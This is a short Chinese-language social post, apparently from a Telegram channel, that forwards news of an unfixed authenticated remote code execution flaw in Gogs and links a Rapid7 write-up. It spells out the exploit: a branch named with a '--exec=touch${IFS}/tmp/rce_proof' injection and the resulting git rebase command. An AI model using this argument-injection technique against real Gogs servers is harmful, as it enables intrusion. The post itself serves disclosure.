Gogs RCE (NOT FIXED)创建一个名为 --exec=touch${IFS}/tmp/rce_proof 的 branchgit rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'

1. 

   今天abc看了啥🤔

   Gogs RCE (NOT FIXED)创建一个名为 --exec=touch${IFS}/tmp/rce_proof 的 branchgit rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'

   10:05 · 2026年5月30日 · 周六

   Forwarded from 鸥 Billchan 鸥 🍟 大薯 | 去码头整点薯条 (billchenchina 🏳️‍⚧️ | 缩缩)

   Gogs RCE (NOT FIXED)
   创建一个名为 --exec=touch${IFS}/tmp/rce_proof 的 branch
   git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'
   
   https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed/
   https://x.com/_CryptoCat/status/2059987039198601673

   Rapid7

   

   Authenticated RCE via Argument Injection in Gogs (NOT FIXED)

   Rapid7 researchers found that Gogs allows authenticated users to achieve RCE on the server by creating a pull request with a specially crafted branch name. More in our latest analysis blog.

   10:05 · 2026年5月30日 · 周六